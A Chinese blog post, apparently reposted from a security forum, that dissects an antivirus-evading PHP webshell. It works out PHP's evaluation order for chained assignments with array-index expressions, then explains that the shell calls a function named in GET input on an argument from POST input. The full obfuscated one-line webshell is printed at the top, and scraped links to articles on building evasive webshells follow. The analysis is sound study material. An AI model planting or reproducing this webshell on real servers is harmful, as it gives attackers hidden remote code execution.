文章首发于t00ls,嫌文章太啰嗦的可以直接看结论

起源

之前看到别人分享的一个免杀webshell:

<?php
@$GLOBALS{next} = $GLOBALS[$GLOBALS[func] = current($GLOBALS)[GLOBALS]] = $GLOBALS[$GLOBALS[code] = next($GLOBALS)[GLOBALS]] = $GLOBALS[$GLOBALS{func}($GLOBALS{code})];
?>

开始是百思不得其解,后来在测试过程中通过分解和删减语句渐渐的对这段代码的执行顺序产生了疑惑,所以就有了如下的简单试验

分析

假设赋值语句为:$a[x]=$b[y]=c我们都知道值传递是从右到左,那么当数组的索引也是表达式的多重赋值中,顺序是怎么样的呢,我给出了下面3种假设:
(1)
1.Y
2.$b[y]=c
3.X
4.$a[x]=$b[y]
(2)
1.Y
2.X
3.$b[y]=c
4.$a[x]=$b[y]
(3)
1.X
2.Y
3.$b[y]=c
4.$a[x]=$b[y]
为了查明正确的执行顺序,弄了个简单的实例:

<?php
$a = array(1,2,3);
$a[$a[0]=$a[1]+2] = $a[$a[1]=$a[2]-3] = 100;
var_dump($a);
?>

顺序(1)

$a[0] = 1,$a[1] = 2,$a[2] = 3
1.$a[1] = $a[2] - 3 = 0
数组:$a[0] = 1,$a[1] = 0,$a[2] = 3,表达式:$a[$a[0]=$a[1]+2] = $a[0] = 100
2.$a[0] = 100
数组:$a[0] = 100,$a[1] = 0,$a[2] = 3,表达式:$a[$a[0]=$a[1]+2] = $a[0]
3.$a[0] = $a[1] + 2 = 2
数组:$a[0] = 2,$a[1] = 0,$a[2] = 3,表达式:$a[2] = $a[0]
4.$a[2] = $a[0] = 2
结果:$a[0] = 2,$a[1] = 0,$a[2] = 2

顺序(2)

$a[0] = 1,$a[1] = 2,$a[2] = 3  
1.$a[1] = $a[2]-3 = 0
数组:$a[0] = 1,$a[1] = 0,$a[2] = 3  表达式:$a[$a[0]=$a[1]+2] = $a[0] = 100
2.$a[0] = $a[1] + 2 = 2
数组:$a[0] = 2,$a[1] = 0,$a[2] = 3        表达式:$a[2] = $a[0] = 100
3.$a[2] = $a[0] = 100
结果:$a[0] = 100,$a[1] = 0,$a[2] = 100

顺序(3)

$a[0] = 1,$a[1] = 2,$a[2] = 3
1.$a[0] = $a[1]+2 = 4
数组:$a[0] = 4,$a[1] = 2,$a[2] = 3  表达式:$a[4] = $a[$a[1]=$a[2]-3] = 100
2.$a[1] = $a[2] -3 = 0
数组:$a[0] = 4,$a[1] = 0,$a[2] = 3  表达式:$a[4] = $a[0] = 100
3.$a[4] = $a[0] = 100
结果:$a[0] = 100,$a[1] = 0,$a[2] = 3,$a[4] = 100

程序运行结果:

可以知道,执行的顺序应为3,即当$a[xx]=$b[***]=$c的时候,执行的顺序是
xx -> *** -> 从右到左依次赋值

结论

再回头看webshell,正确的执行顺序应该为:
1.$GLOBALS[func]=current($GLOBALS)[GLOBALS] (_GET中的内容赋值给$GLOBALS[func])
2.$GLOBALS[code]=next($GLOBALS)[GLOBALS] (_POST中的内容赋值给$GLOBALS[code])
3.$GLOBALS{func}($GLOBALS{code});  (变量函数中传入变量)
其他的赋值语句都是混淆

分析一个免杀webshell发现的php特性的更多相关文章

  1. 全方位构造免杀 webshell 小结[一]

    转载自https://klionsec.github.io/2017/10/11/bypasswaf-for-webshell/   全方位构造免杀 webshell 小结[一]   前言:    本 ...

  2. [Anti-AV] 从攻防对抗辩证性分析jsp免杀(一)

    从攻防对抗辩证性分析jsp免杀 从最早的最朴素木马 <%@ page import="java.io.InputStream" %> <%@ page impor ...

  3. 浅析JAVA Runtime原理与过各大厂商免杀webshell制作

    Author:Sevck Date:2017年6月24日 昨天在网络尖刀老年活动中心群里,忽然想到一个问题,就是JAVA在运行Runtime执行命令的时候会不会调用bash,因为php等语言会调用ba ...

  4. 【转】PHP利用Apache、Nginx的特性实现免杀Webshell

    转载备忘: get_defined_vars().getallheaders()是两个特性函数,我们可以通过这两个函数来构造我们的webshell. 前几天看到的,一直忘记写,填坑. 环境 函数 用法 ...

  5. 流包装器实现WebShell免杀

    说明: 本文首发自 https://www.secpulse.com/archives/73391.html ,转载请注明出处. 前言 本文是看PHP使用流包装器实现WebShell有感,权当做个笔记 ...

  6. 2017-2018-2 20155314《网络对抗技术》Exp3 免杀原理与实践

    2017-2018-2 20155314<网络对抗技术>Exp3 免杀原理与实践 目录 实验要求 实验环境 预备知识 实验步骤 1 免杀效果实测 1.1 恶意代码生成工具 1.2 免杀效果 ...

  7. 【黑客免杀攻防】读书笔记2 - 免杀与特征码、其他免杀技术、PE进阶介绍

    第3章 免杀与特征码 这一章主要讲了一些操作过程.介绍了MyCCL脚本木马免杀的操作,对于定位特征码在FreeBuf也曾发表过类似工具. VirTest5.0特征码定位器 http://www.fre ...

  8. 2018-2019-2 网络对抗技术 20165322 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165322 Exp3 免杀原理与实践 目录 实验内容与步骤 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  9. 2018-2019-2 20165114《网络对抗技术》Exp3 免杀原理与实践

    Exp3 免杀原理与实践 目录 一.实验内容 二.基础问题回答 (1)杀软是如何检测出恶意代码的? (2)免杀是做什么? (3)免杀的基本方法有哪些? 三.实践过程记录 正确使用msf编码器,msfv ...

随机推荐

  1. 框架篇:Linux零拷贝机制和FileChannel

    前言 大白话解释,零拷贝就是没有把数据从一个存储区域拷贝到另一个存储区域.但是没有数据的复制,怎么可能实现数据的传输呢?其实我们在java NIO.netty.kafka遇到的零拷贝,并不是不复制数据 ...

  2. D. The Wu 解析(思維、二進位運算)

    Codeforce 1017 D. The Wu 解析(思維.二進位運算) 今天我們來看看CF1017D 題目連結 題目 略,請直接看原題 前言 官方解答實在看不懂...之後還記得的話再補那個做法吧 ...

  3. 【转】Getting an Image on the Screen

    FROM:http://lazyfoo.net/tutorials/SDL/02_getting_an_image_on_the_screen/index.php Getting an Image o ...

  4. 需要加强NB-IoT网络优化和终端监管

    NB-IoT解决方案在行业规模商用应用中得到了持续的验证,承受住考验,现在芯片和网络问题和障碍已经得到解决. 从统计结果来看,目前的绝大多数问题都集中在终端侧,因为行业的定制化需求以及合伙伙伴的能力差 ...

  5. JDK8中的新时间API:Duration Period和ChronoUnit介绍

    目录 简介 Duration Period ChronoUnit 简介 在JDK8中,引入了三个非常有用的时间相关的API:Duration,Period和ChronoUnit. 他们都是用来对时间进 ...

  6. linux查找大文件及详细问题

    查询大文件du -h --max-depth=1 查询指定目录下面的文件大小du -h --max-depth=1 /path 使用find命令查找大于200M文件 find / -type f -s ...

  7. iptables从入门到掌握

    防火墙简述 防火墙(firewall)一词本是建筑用于,本意是为了保护建筑物不受火灾侵害的.被借鉴到了在网络通信领域中,表示保护局域网或主机不受网络攻击的侵害. 防火墙: 工作在主机或者网络边缘,对于 ...

  8. CF957D Riverside Curio

    dp+预处理 dp[i]表示第i天时的水位线有多少条, 然后你会发现这个dp是有后效性的,当第i天的m[i]>dp[i-1]时就要修改之前的dp值 因此我们预处理出每一天的至少要多少条水位线,记 ...

  9. 4G模块与WIFI模块的工作及应用区别

    在物联网行业中,4G模块和wifi模块经经常会被使用,但是由于网络不同,二者的工作原理和场景还是有很大的不同,本篇主要讲讲4G模块和WIFI模块的功能和应用场景 什么是4G模块? 4G模块是基于4G网 ...

  10. 剑指41和为s的连续整数序列

    题目描述 小明很喜欢数学,有一天他在做数学作业时,要求计算出9~16的和,他马上就写出了正确答案是100.但是他并不满足于此,他在想究竟有多少种连续的正数序列的和为100(至少包括两个数).没多久,他 ...